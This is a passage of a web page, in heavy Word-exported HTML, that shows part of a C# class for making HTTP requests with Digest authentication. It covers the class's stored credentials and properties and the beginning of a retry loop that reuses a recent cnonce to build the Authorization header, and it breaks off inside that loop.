<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">private</span><span style="mso-ansi-language: en-us;" lang="EN-US">Algorithm</span><span style="mso-ansi-language: en-us;" lang="EN-US"> _md5;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">private</span><span style="mso-ansi-language: en-us;" lang="EN-US">DateTime</span><span style="mso-ansi-language: en-us;" lang="EN-US"> _cnonceDate;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">private</span><span style="mso-ansi-language: en-us;" lang="EN-US">int</span><span style="mso-ansi-language: en-us;" lang="EN-US"> _nc;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">private</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US"> _requestMethod = </span><span style="mso-ansi-language: en-us;" lang="EN-US">WebRequestMethods</span><span style="mso-ansi-language: en-us;" lang="EN-US">.</span><span style="mso-ansi-language: en-us;" lang="EN-US">Http</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Get;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">private</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US"> _contentType;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">private</span><span style="mso-ansi-language: en-us;" lang="EN-US">byte</span><span style="mso-ansi-language: en-us;" lang="EN-US">[] _postData;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">public</span><span style="mso-ansi-language: en-us;" lang="EN-US"> DigestHttpWebRequest(</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US"> user, </span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US"> password)</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>_user = user;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>_password = password;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">public</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US"> Method</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">get</span><span style="mso-ansi-language: en-us;" lang="EN-US"> { </span><span style="mso-ansi-language: en-us;" lang="EN-US">return</span><span style="mso-ansi-language: en-us;" lang="EN-US"> _requestMethod; }</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">set</span><span style="mso-ansi-language: en-us;" lang="EN-US"> { _requestMethod = </span><span style="mso-ansi-language: en-us;" lang="EN-US">value</span><span style="mso-ansi-language: en-us;" lang="EN-US">; }</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">public</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US"> ContentType</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">get</span><span style="mso-ansi-language: en-us;" lang="EN-US"> { </span><span style="mso-ansi-language: en-us;" lang="EN-US">return</span><span style="mso-ansi-language: en-us;" lang="EN-US"> _contentType; }</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">set</span><span style="mso-ansi-language: en-us;" lang="EN-US"> { _contentType = </span><span style="mso-ansi-language: en-us;" lang="EN-US">value</span><span style="mso-ansi-language: en-us;" lang="EN-US">; }</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}<span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">public</span><span style="mso-ansi-language: en-us;" lang="EN-US">byte</span><span style="mso-ansi-language: en-us;" lang="EN-US">[] PostData</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">get</span><span style="mso-ansi-language: en-us;" lang="EN-US"> { </span><span style="mso-ansi-language: en-us;" lang="EN-US">return</span><span style="mso-ansi-language: en-us;" lang="EN-US"> _postData; }</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">set</span><span style="mso-ansi-language: en-us;" lang="EN-US"> { _postData = </span><span style="mso-ansi-language: en-us;" lang="EN-US">value</span><span style="mso-ansi-language: en-us;" lang="EN-US">; }</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp; </span><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">public</span><span style="mso-ansi-language: en-us;" lang="EN-US">HttpWebResponse</span><span style="mso-ansi-language: en-us;" lang="EN-US"> GetResponse(</span><span style="mso-ansi-language: en-us;" lang="EN-US">Uri</span><span style="mso-ansi-language: en-us;" lang="EN-US"> uri)</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">HttpWebResponse</span><span style="mso-ansi-language: en-us;" lang="EN-US"> response = </span><span style="mso-ansi-language: en-us;" lang="EN-US">null</span><span style="mso-ansi-language: en-us;" lang="EN-US">;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">int</span><span style="mso-ansi-language: en-us;" lang="EN-US"> infiniteLoopCounter = 0;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">int</span><span style="mso-ansi-language: en-us;" lang="EN-US"> maxNumberAttempts = 2;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">while</span><span style="mso-ansi-language: en-us;" lang="EN-US"> ((response == </span><span style="mso-ansi-language: en-us;" lang="EN-US">null</span><span style="mso-ansi-language: en-us;" lang="EN-US"> ||</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>response.StatusCode != </span><span style="mso-ansi-language: en-us;" lang="EN-US">HttpStatusCode</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Accepted) &amp;&amp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>infiniteLoopCounter &lt; maxNumberAttempts)</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">try</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">var</span><span style="mso-ansi-language: en-us;" lang="EN-US"> request = CreateHttpWebRequestObject(uri);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">// If we've got a recent Auth header, re-use it!</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">if</span><span style="mso-ansi-language: en-us;" lang="EN-US"> (!</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US">.IsNullOrEmpty(_cnonce) &amp;&amp; </span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">DateTime</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Now.Subtract(_cnonceDate).TotalHours&lt; 1.0)</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>request.Headers.Add(</span><span style="mso-ansi-language: en-us;" lang="EN-US">"Authorization"</span><span style="mso-ansi-language: en-us;" lang="EN-US">, ComputeDigestHeader(uri));</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
